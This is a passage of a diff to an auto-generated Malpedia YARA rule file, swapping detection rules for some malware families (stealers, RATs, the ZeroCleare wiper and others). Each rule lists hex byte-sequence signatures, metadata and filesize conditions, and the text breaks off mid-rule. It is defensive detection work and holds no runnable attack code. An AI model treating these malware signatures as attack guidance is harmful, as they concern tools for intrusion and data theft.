"faec2b10-b495-5749-b587-f624aaef83b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.entryshell_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socksbot_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "00133e95c431c2a3dcea85bea219e4bd4bbb96106a72aed7e1fb3e93342dd945" + logic_hash = "369cd58dedba09e8aa40e9db282016f7a46ee224d612c8da35e03725828fb9df" score = 75 quality = 75 tags = "FILE" @@ -111245,32 +111337,32 @@ rule MALPEDIA_Win_Entryshell_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 43 895de4 8b049578512501 8945ec 897df0 8a543828 8855ff } - $sequence_1 = { 5d c3 8d4301 57 50 e8???????? 83c404 } - $sequence_2 = { 6800020000 8d85f8fdffff 50 ff36 ffd3 85c0 0f855fffffff } - $sequence_3 = { 6a10 e8???????? 6a40 6a00 8d45a4 50 e8???????? } - $sequence_4 = { 83c202 6685c0 75f5 8b8df8dfffff 2bd6 83c1fe } - $sequence_5 = { 60 33d2 8b55f4 33c0 8d05e4382501 33c9 8b0c90 } - $sequence_6 = { 0101 8d22 0131 8d22 015e8d 2201 8e8d2201558b } - $sequence_7 = { c705????????00400000 33c0 c3 6a08 68???????? e8???????? 833d????????01 } - $sequence_8 = { 8bf2 ff15???????? 85c0 7523 68???????? ff15???????? } - $sequence_9 = { 50 e8???????? 83c414 8d85f8f7ffff 6a00 6a00 6aff } + $sequence_0 = { 6a0d 50 8945fc e8???????? 8bf8 } + $sequence_1 = { 8d85acfeffff 50 51 c785acfeffff01000000 899db0feffff 894df0 c745f400879303 } + $sequence_2 = { 33c0 5f c9 c20400 55 8bec 81ec0c030000 } + $sequence_3 = { 324415bc 320439 32c3 880439 } + $sequence_4 = { 33c1 c1e002 33c1 c1e002 } + $sequence_5 = { c3 8b400c 8b00 ff30 ff15???????? 85c0 74eb } + $sequence_6 = { 03f3 eb6d 8b460c 03c3 } + $sequence_7 = { 8b55f8 43 8802 8b35???????? 33c0 3bdf } + $sequence_8 = { 880e 4a 75f7 5f 5e 5d c3 } + $sequence_9 = { a3???????? c605????????00 5b c9 c3 } condition: - 7 of them and filesize < 663552 + 7 of them and filesize < 73728 } -rule MALPEDIA_Elf_Hideandseek_Auto : FILE +rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "10c8f40f-fa57-553f-afa8-26796ff221f6" + id = "58de5ec4-0318-51d8-b594-608e74c6b19b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.hideandseek_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_adspace_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "768ba339bd4afb32724f528de613e471a16c477a1e04b8333f9c4f37161d943f" + logic_hash = "a92489c81a6d8e641c169a9deed543e2e8352f876cddeafa8d67d22e27f031a4" score = 75 quality = 75 tags = "FILE" @@ -111284,32 +111376,32 @@ rule MALPEDIA_Elf_Hideandseek_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740d 83ec0c ff36 e8???????? 83c410 56 56 } - $sequence_1 = { e8???????? eb09 83ec0c 56 e8???????? 83c410 f7df } - $sequence_2 = { 89c7 85c0 0f8947040000 e9???????? 83be4c01000018 0f87f7040000 8b864c010000 } - $sequence_3 = { 84d2 7410 8a53ff 8d43ff 3a542403 7404 84d2 } - $sequence_4 = { e8???????? 8b35???????? 83c410 8d78f0 eb45 8b442410 31d2 } - $sequence_5 = { 31f6 8b5c240c 803d????????00 7532 e8???????? 88c2 89c1 } - $sequence_6 = { b801000000 83c410 c684331001000000 c7864c0100000b000000 c7863801000000000000 eb09 b803000000 } - $sequence_7 = { e8???????? c7874801000004000000 58 5a 8d84243a010000 50 8d8710010000 } - $sequence_8 = { c1e806 f7d0 83e001 c3 31c0 c3 8b4c2404 } - $sequence_9 = { 5a 85c0 59 0f8f1dffffff 50 8b442454 } + $sequence_0 = { 33c0 8d7c241d c744241400010000 f3ab } + $sequence_1 = { e8???????? 8b4c2420 2bc7 03c1 50 89442424 } + $sequence_2 = { e8???????? 8365fc00 57 56 8d4dec } + $sequence_3 = { 50 ff15???????? ff742410 e8???????? 56 e8???????? 55 } + $sequence_4 = { 50 89442438 e8???????? ff742438 ff15???????? 69c060ea0000 83c42c } + $sequence_5 = { 85c0 7408 c744241001000000 bf???????? } + $sequence_6 = { 83c40c 8bf8 8d45fc 50 a1???????? 40 50 } + $sequence_7 = { b8???????? e8???????? 81ec08010000 53 56 8b1d???????? 57 } + $sequence_8 = { ffd6 b8???????? 5e 5b c9 } + $sequence_9 = { 83c418 8d85ecfeffff 68???????? 50 ff15???????? 85c0 a3???????? } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Topinambour_Auto : FILE +rule MALPEDIA_Win_Spider_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "248239f8-95b8-583c-8553-e48d7a46283a" + id = "5c1d0a0a-c7b7-560c-afbd-cff397912aa2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.topinambour_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spider_rat_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "3b116af57ab25dd36210660cdcf34a024e37c1d655144c3fd22d92727ae67613" + logic_hash = "91b51e3f34e8589c66f7bc8774754ce78933dd5fa4cfa89093817c8c758e1ad5" score = 75 quality = 75 tags = "FILE" @@ -111323,32 +111415,32 @@ rule MALPEDIA_Win_Topinambour_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2b1d 09 1106 1107 } - $sequence_1 = { 02 282100000a 6f2200000a 25 6f1d00000a 16 6f2300000a } - $sequence_2 = { 1105 8d0f000001 1306 16 1307 } - $sequence_3 = { 6f1d00000a 7245000070 6f2000000a 25 6f1d00000a 7255000070 02 } - $sequence_4 = { 20204e0000 6f0c00000a 09 2060ea0000 6f0d00000a } - $sequence_5 = { 25 721d000070 6f0500000a 25 } - $sequence_6 = { 730900000a 0c 6f0a00000a 17 1c 730b00000a } - $sequence_7 = { 25 6f1d00000a 7255000070 02 282100000a } - $sequence_8 = { 2e06 731000000a 7a 1104 16 } - $sequence_9 = { 6f1400000a 2802000006 1308 281300000a 1108 6f1500000a } + $sequence_0 = { 493bce 7415 488b01 4d8bc5 ba01000000 ff5020 8bd8 } + $sequence_1 = { 833903 b801000000 756e 397104 7569 488b4908 4885c9 } + $sequence_2 = { e8???????? cc 488d88c0000000 488d15b2f7ffff e8???????? 8bce 483bc6 } + $sequence_3 = { 7433 488bc8 833904 7517 44396104 7511 } + $sequence_4 = { 4c8be8 c64424305c 41b901000000 4983c8ff 488d542430 488bce e8???????? } + $sequence_5 = { 0fb601 8807 48ffc1 48ffc7 84c0 75f1 49837d2010 } + $sequence_6 = { 4883ec20 488d05df860200 488bf9 488901 4883c118 e8???????? 488b5718 } + $sequence_7 = { 488b4c2440 488d542478 488b01 ff5018 413bc6 8bd8 0f8c4c010000 } + $sequence_8 = { b890900100 e8???????? 482be0 48c7442448feffffff 488b05???????? 4833c4 4889842480900100 } + $sequence_9 = { 664489442420 4533c9 4c8d05322a0200 418b9424f0000000 ff5030 488b8c2420010000 488b01 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 1107968 } -rule MALPEDIA_Win_Ave_Maria_Auto : FILE +rule MALPEDIA_Win_Woodyrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "87720f7c-76f1-51d7-aae1-49bd8d947af2" + id = "ff2403f4-80f5-5a92-a716-69463c81a517" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ave_maria_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woodyrat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "084747828755c63e5e35ddf08ea97436090c1d46b402b58bfe29209faf23a08b" + logic_hash = "0875a91df86b2a6e691c8414a33ce11802859bc8c34fd58e245e57021b392621" score = 75 quality = 75 tags = "FILE" @@ -111362,32 +111454,32 @@ rule MALPEDIA_Win_Ave_Maria_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 33c9 85c0 0f94c1 8bc1 c3 } - $sequence_1 = { 8a5716 f6d2 80e201 5f 5e 8ac2 5b } - $sequence_2 = { 50 e8???????? 8b37 8bcf e8???????? 50 56 } - $sequence_3 = { e8???????? 8d4de8 e8???????? 8b4508 5e c9 c20400 } - $sequence_4 = { 8bf0 ba???????? 51 8bce e8???????? ba???????? } - $sequence_5 = { 740a 8b45f0 8906 33c0 40 eb02 33c0 } - $sequence_6 = { 56 8bf1 ff15???????? 8d8ed8010000 e8???????? 8d4e30 e8???????? } - $sequence_7 = { 0f84e0000000 51 ba???????? 8bc8 e8???????? 8b4e10 ba???????? } - $sequence_8 = { 8d44240c 56 57 8b7d08 6a00 ff7708 } - $sequence_9 = { 03d1 c1cf02 8b4df0 03d3 334dac 8bc7 } + $sequence_0 = { e8???????? c745fcffffffff 83c404 8b4db0 8bf8 85c9 7411 } + $sequence_1 = { c7473400000000 c7473800000000 0f104624 0f114724 f30f7e4634 660fd64734 66894624 } + $sequence_2 = { 2bc1 c1f803 69f0abaaaaaa b8aaaaaa0a 8bce d1e9 2bc1 } + $sequence_3 = { 0f57c0 c707???????? 0f43c8 660fd64704 8d4704 c745a800000000 50 } + $sequence_4 = { ff15???????? 0f57c0 c78558ecffff00000000 660fd68550ecffff 6800010000 c78554ecffff20000000 c78558ecffff00010000 } + $sequence_5 = { 0f114630 e9???????? 8bc1 b9feffff7f 83c807 3dfeffff7f 0f47c1 } + $sequence_6 = { 7409 50 e8???????? 83c404 837dd000 8b45cc 7704 } + $sequence_7 = { 40 894dc8 50 ff75e0 51 e8???????? 8b45c0 } + $sequence_8 = { 50 8d8de4f9ffff e8???????? 8bbd10f9ffff 8d8dd8f9ffff 8b7f08 89bd10f9ffff } + $sequence_9 = { 899d44ffffff 50 52 c78540ffffff00000000 ff15???????? 6898000000 8d8558ffffff } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 785408 } -rule MALPEDIA_Win_Enigma_Loader_Auto : FILE +rule MALPEDIA_Win_Micrass_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc26267d-179f-5094-a193-17b8c695e45b" + id = "a229f115-b5ac-5aa3-9ddb-ec5c8630e70f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.enigma_loader_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.micrass_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "3dcf8ded19af004c0de0e4efb8fdefb86f8c4578eb04199c475e4c233dfc8212" + logic_hash = "639446b0255ff71a4b5f82ebea10985e5191c147bc877240c832d8560fe4064d" score = 75 quality = 75 tags = "FILE" @@ -111401,32 +111493,32 @@ rule MALPEDIA_Win_Enigma_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d4da0 e8???????? 90 488d15acf80200 488bc8 e8???????? 0f1000 } - $sequence_1 = { 493bc1 0f84d9010000 4c8d4001 4c89442430 488b4910 482b0a 48c1f904 } - $sequence_2 = { 482b01 49b8ffffffffffffff1f 48c1fd03 4c8bfa 48c1f803 488bf9 } - $sequence_3 = { 488d15fb560300 488d4c2420 e8???????? cc 4053 4883ec20 488bd9 } - $sequence_4 = { e8???????? 90 c6462801 40387e29 0f85b6050000 bb00100000 488b542448 } - $sequence_5 = { 0f28c6 e8???????? 6685c0 0f8f40080000 498d4e20 488d9508020000 e8???????? } - $sequence_6 = { 4c8d4dd0 418bc4 41f7e0 c1ea05 0fbec2 6bc83a 418ac0 } - $sequence_7 = { 488d8424a8000000 4889442420 48895c2428 488933 48897308 b950000000 e8???????? } - $sequence_8 = { 83f901 752f 488bca e8???????? 448be0 eb22 } - $sequence_9 = { 57 488bec 4883ec40 448ada 488bf1 4883c120 488d55f0 } + $sequence_0 = { 56 33db 53 6801001f00 ff15???????? 3bc3 } + $sequence_1 = { 770f 0fb7c2 0fbe80e8014100 83e00f eb02 } + $sequence_2 = { c1f905 8d3c8da0dd4000 8bf0 83e61f c1e606 } + $sequence_3 = { 50 8d85c03fffff 50 e8???????? 59 59 85c0 } + $sequence_4 = { a1???????? 33c5 8945fc ff7508 8d85e04fffff 56 } + $sequence_5 = { 56 50 e8???????? 8b85e44fffff 83c40c } + $sequence_6 = { c1f905 8b0c8da0dd4000 83e01f c1e006 f644080401 74cd } + $sequence_7 = { c785fcfefffff4f4f4f4 c78500fffffff4f4f4f4 c78504fffffff4f4f4f4 c78508fffffff4f4f4f4 } + $sequence_8 = { c745a0808084b7 c745a4989b8791 c745a8bc959a90 c745ac9891f4f4 c745b0f4f4f4f4 c745b4f4f4f4f4 } + $sequence_9 = { c745b8f4f4f4f4 c745bcf4f4f4f4 c745c0f4f4f4f4 c745c4f4f4f4f4 } condition: - 7 of them and filesize < 798720 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Recordbreaker_Auto : FILE +rule MALPEDIA_Win_Cactus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "84c578f1-7563-5244-9c52-c15658d206fd" + id = "eb289dca-899a-5588-9223-1deb6b75b964" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.recordbreaker_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cactus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cactus_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "47ce2cf43e0dd275e8c2b25425755b57837a7a72d47324aa716f84b51ead687c" + logic_hash = "c959580feec97f87bfc35165a408b3d9e2aec2dc4a519f266c222421b5acd4bf" score = 75 quality = 75 tags = "FILE" @@ -111440,32 +111532,32 @@ rule MALPEDIA_Win_Recordbreaker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b15???????? 8bc8 e8???????? 8b55f0 } - $sequence_1 = { 8a040e 46 8802 42 3bf3 72f5 } - $sequence_2 = { 51 8d4de4 51 ff750c a5 } - $sequence_3 = { ff15???????? 33c0 40 eb08 ff15???????? 33c0 5f } - $sequence_4 = { 8365f800 a1???????? c745f464000000 53 56 } - $sequence_5 = { 33c0 50 6800000008 6a02 50 50 } - $sequence_6 = { ba04010000 8d0c41 51 8d85d0fdffff 50 } - $sequence_7 = { ff15???????? 8b7508 83c410 8bd3 } - $sequence_8 = { 8b15???????? 8bc8 e8???????? 8b55f8 } - $sequence_9 = { 81ec68040000 837d1002 53 56 8bf2 57 } + $sequence_0 = { e8???????? 85c0 0f843e010000 488d1592b52000 4889d9 e8???????? 85c0 } + $sequence_1 = { e8???????? e8???????? 4c8d05d3572000 baf10c0000 488d0d7f562000 e8???????? 4531c0 } + $sequence_2 = { ffd7 8b18 4180fd01 76e1 4584f6 759b e8???????? } + $sequence_3 = { e8???????? 4531c0 ba00010c00 b90d000000 e8???????? 4889e9 e8???????? } + $sequence_4 = { e8???????? 4889c1 e8???????? 488b4b30 4889c2 488b4328 488b4078 } + $sequence_5 = { eb99 c744243806000000 6690 f6431830 0f85cffdffff 488d35df063a00 e9???????? } + $sequence_6 = { e9???????? e8???????? 4c8d056ab43a00 bad6000000 4889e9 e8???????? 4531c0 } + $sequence_7 = { e8???????? 488b4b10 e8???????? 85c0 0f85b4000000 488b8b90000000 bf01000000 } + $sequence_8 = { e8???????? 4989d8 4889fa 4889f1 e8???????? 488d542423 4989d8 } + $sequence_9 = { bacb010000 488d0d282d3b00 e8???????? 4531c0 ba00010c00 b939000000 e8???????? } condition: - 7 of them and filesize < 232312 + 7 of them and filesize < 13587456 } -rule MALPEDIA_Win_Bluenoroff_Auto : FILE +rule MALPEDIA_Win_Kronos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "715350ff-965b-560c-8af6-f01ef8d9887d" + id = "926e3174-18bd-5768-8bad-aee020442946" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluenoroff_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kronos_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "09078eca5d74bcdca0f6c272495f67d2206bb2b723aa1a39684e4df83692420a" + logic_hash = "37c4a3cedbb07e112b6f5ea1747119314006e52be9a57885219c4b994f74b249" score = 75 quality = 75 tags = "FILE" @@ -111479,32 +111571,32 @@ rule MALPEDIA_Win_Bluenoroff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 33ff 53 ff15???????? 8b450c } - $sequence_1 = { 8bf0 83c404 85f6 7429 8b4508 8b5510 } - $sequence_2 = { 8bf8 85ff 7421 6a00 8d55fc 52 56 } - $sequence_3 = { b912010000 8bf3 f3a5 a1???????? 8b5004 83c410 8d7004 } - $sequence_4 = { 83c41c 83f801 750e 8d8dfcfffeff } - $sequence_5 = { 83feff 7433 8d4e01 51 6a40 ff15???????? } - $sequence_6 = { 51 52 8d85fcfffeff 68ffff0000 } - $sequence_7 = { 83c41c 8d95ecfffeff 33c9 52 } - $sequence_8 = { 7433 8d4e01 51 6a40 } - $sequence_9 = { 8d8dfcfffeff 51 68???????? eb23 83f802 } + $sequence_0 = { 51 8bca e8???????? 8b4510 015f0c 8b4f0c 33d2 } + $sequence_1 = { 8b4508 8b4d10 5f 5b c70000000000 } + $sequence_2 = { e8???????? 83450810 83451010 ff4d0c 837d0c00 7fe2 } + $sequence_3 = { 8955f4 8975f8 bfff000000 3935???????? 754a c705????????01000000 53 } + $sequence_4 = { 83c40c 837dfc02 724b 8b55f4 83c208 52 8d4de0 } + $sequence_5 = { 57 56 56 8d8da0efffff } + $sequence_6 = { 8945c8 3bc6 0f8406020000 bfd8010000 57 e8???????? } + $sequence_7 = { 53 ff15???????? 8b442418 5f 5e 5b 8be5 } + $sequence_8 = { 50 8d45e8 50 ffd2 8b4804 8b7008 } + $sequence_9 = { b84d5a0000 663901 0f857f010000 8b413c 03c1 813850450000 0f856e010000 } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 1302528 } -rule MALPEDIA_Win_Bs2005_Auto : FILE +rule MALPEDIA_Win_Adkoob_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c222daf1-0291-5b44-a14d-9520773ee0b6" + id = "bebf573b-46be-5024-b08d-6d19c81fe200" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bs2005_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adkoob_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "2de8be623d8c0993a0484485024d355fd2aa58f75e717b2fbd75b321c706b20a" + logic_hash = "9df45dbba7685f4e50394d5dc1c9c28bf484da1b0409fe46575f0443f2099dc5" score = 75 quality = 75 tags = "FILE" @@ -111518,32 +111610,32 @@ rule MALPEDIA_Win_Bs2005_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 40 84c9 75f9 6a00 8d8dccfeffff 51 2bc2 } - $sequence_1 = { c705????????14864000 a3???????? c705????????408f4000 c705????????30864000 c705????????92854000 } - $sequence_2 = { 8bcf 2bce 81e91c010c00 51 8d5705 52 83c020 } - $sequence_3 = { 52 6a04 50 8945e4 8b45e8 68???????? 50 } - $sequence_4 = { 8945f8 ba00040000 8bcf c60100 } - $sequence_5 = { 8b8e04010000 6a00 6a00 50 51 c745fc00000000 } - $sequence_6 = { 8b06 85c0 7425 8b10 50 } - $sequence_7 = { 75f9 b900000400 8d860c010c00 c60000 40 49 75f9 } - $sequence_8 = { 8b860c010000 3d00000200 7205 b800000200 8b8e04010000 6a00 } - $sequence_9 = { 6a00 8d55fc 52 50 8d8612010000 50 51 } + $sequence_0 = { 8d4eb0 8b4004 c74430980c4b4c00 8b4698 8b5004 8d4298 89443294 } + $sequence_1 = { 8b45f8 53 ff75fc 50 6a7e 5a 8bcf } + $sequence_2 = { 894638 85c0 740f 68???????? 50 ff15???????? 894640 } + $sequence_3 = { 898424fc000000 33c0 898424f8000000 89842400010000 89842404010000 8a83a4010000 88443134 } + $sequence_4 = { 897dec 8945fc 85ff 741b 8b7508 8bcf 56 } + $sequence_5 = { b8???????? e8???????? 8bf2 8bf9 89bd0cffffff 33c0 898508ffffff } + $sequence_6 = { 8bf9 83fb1c 7517 837f2400 7511 ff750c 8b5508 } + $sequence_7 = { 8d4e28 51 8d4e20 f7de 8b10 1bf6 23f1 } + $sequence_8 = { 8b4714 8945f8 81e1f7ff0000 8bd3 66894f18 8bce e8???????? } + $sequence_9 = { ff75c4 ffb540ffffff e8???????? 83c428 837da400 741a ffb56cffffff } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 1867776 } -rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE +rule MALPEDIA_Win_Temp_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2ae48584-3f0a-5429-8e37-f6d8d22f0c81" + id = "06945ffb-74bb-55c6-897c-840bc8a35717" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealer_0x3401_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.temp_stealer_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "d48e39ba989936cedf7a0bb5dfb1b2a5b1f5da933f4aa10a0b47e5b061091dba" + logic_hash = "0687eb315a2ca722457708cc43ae8e72e82f9cde0b8833cdb29551011317ae50" score = 75 quality = 75 tags = "FILE" @@ -111557,32 +111649,32 @@ rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e03f 6bc830 8b0495c8710210 8b440818 83f8ff 7409 } - $sequence_1 = { c685d07dffff00 83f808 720d 40 50 ffb5487effff } - $sequence_2 = { 68???????? 8bd0 c645fc21 8d4d90 e8???????? } - $sequence_3 = { 8d45bc 837dd010 c745cc01000000 0f4345bc c6400100 8d8578ffffff 50 } - $sequence_4 = { 660fd645bc f30f7e05???????? 8945b4 a1???????? c78500ffffff3f3f3f00 c78523ffffff00000000 } - $sequence_5 = { 50 b9???????? c645fc19 e8???????? 8d4d90 } - $sequence_6 = { 735f 8bc6 8bfe 83e03f c1ff06 6bd830 8b04bdc8710210 } - $sequence_7 = { 7534 40 83f8fe 0f8798020000 3bc8 7310 ff7710 } - $sequence_8 = { 49 83c9fe 41 99 898cb558f0ffff 2bc2 } - $sequence_9 = { 0f95c0 8985a8feffff 3bf7 741f 6690 68???????? 8bcb } + $sequence_0 = { 488b4d08 e8???????? 4403f7 4883c330 443bb518020000 0f8c37ffffff 488b5d00 } + $sequence_1 = { 488d1537b00300 488bcb ff15???????? 488945b0 488d1533b00300 488bcb ff15???????? } + $sequence_2 = { f20f58cb f20f58cf f20f102d???????? 488d1592e10100 f20f59ee f2430f1004c1 } + $sequence_3 = { 4533c0 baa00f0000 e8???????? 488b05???????? 4c8d05f52b0300 488bd5 48c1fa06 } + $sequence_4 = { 488d0526dc0100 483947f0 741a 488b0f 4885c9 7412 833900 } + $sequence_5 = { 90 488b8d80000000 e8???????? 90 498bcd } + $sequence_6 = { 488b13 48c1e205 4883c208 488bcb e8???????? 90 4183660800 } + $sequence_7 = { 894708 488d5901 41bf20000000 418bc7 48f7e3 498d4fdf 480f40c1 } + $sequence_8 = { 48895c2478 488d5530 488d4c2460 e8???????? 90 488d5580 } + $sequence_9 = { 90 488d442440 48894558 4c897c2440 4c897c2450 48895c2458 488d153cc80300 } condition: - 7 of them and filesize < 357376 + 7 of them and filesize < 652288 } -rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE +rule MALPEDIA_Win_Zerocleare_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e944258-6f12-5085-8358-b91fb7dc5a09" + id = "44db0221-dc66-5a41-bbf8-146a25155baf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.trochilus_rat_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zerocleare_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "dca7f9603da83736d27e78d66d52610b99014fe1a1d949a52b24e5b787c59a8a" + logic_hash = "e4821dd22695093410a23835df9e39372b43fe15a2de70debfb45b9cb2592dab" score = 75 quality = 75 tags = "FILE" @@ -111596,32 +111688,32 @@ rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8410010000 8b3d???????? 6894e40010 53 ffd7 85c0 0f84fa000000 } - $sequence_1 = { 7405 6a02 5e ebc6 e8???????? eb25 e8???????? } - $sequence_2 = { 2bf9 f7df 1bff 23f8 0f849a000000 8b4708 } - $sequence_3 = { 53 57 8d4e2c 8bf8 2bf9 f7df 1bff } - $sequence_4 = { 56 8bf1 c706d0d10010 e8???????? f6450801 7407 56 } - $sequence_5 = { 8b4dfc 8b06 b201 d2e2 081438 663b5d0c 740e } - $sequence_6 = { 50 6a06 8d85ecfbffff 50 8bcf } - $sequence_7 = { ff7510 8b01 ff750c ff5034 6a00 ff7508 8bfe } - $sequence_8 = { 8bce e8???????? eba2 55 8bec 83ec0c 56 } - $sequence_9 = { a1???????? c705????????90897e00 8935???????? a3???????? ff15???????? a3???????? } + $sequence_0 = { 8d45d0 837de408 68???????? 0f4345d0 68000000c0 50 e8???????? } + $sequence_1 = { ff249d01c04000 8b46e4 3b42e4 744f 0fb6f8 0fb642e4 2bf8 } + $sequence_2 = { 8b049d40fd4400 f644082801 7469 56 } + $sequence_3 = { 8b0cb540fd4400 83c410 8985f4efffff 8bc2 8b95f4efffff } + $sequence_4 = { 6a05 e8???????? 83c404 6a00 ff74f704 ff34f7 } + $sequence_5 = { 56 8b7508 ff34b5109f4300 e8???????? 50 ff34b52c9f4300 8d4dec } + $sequence_6 = { 7cde 68???????? e8???????? 8b8504f8ffff } + $sequence_7 = { 83c404 89460c 83fa08 722e } + $sequence_8 = { 833d????????00 0f852ce4ffff 8d0dc0524400 ba1b000000 e9???????? a900000080 } + $sequence_9 = { c7401000000000 c7401407000000 668908 c645fc04 8b9530f7ffff 83fa08 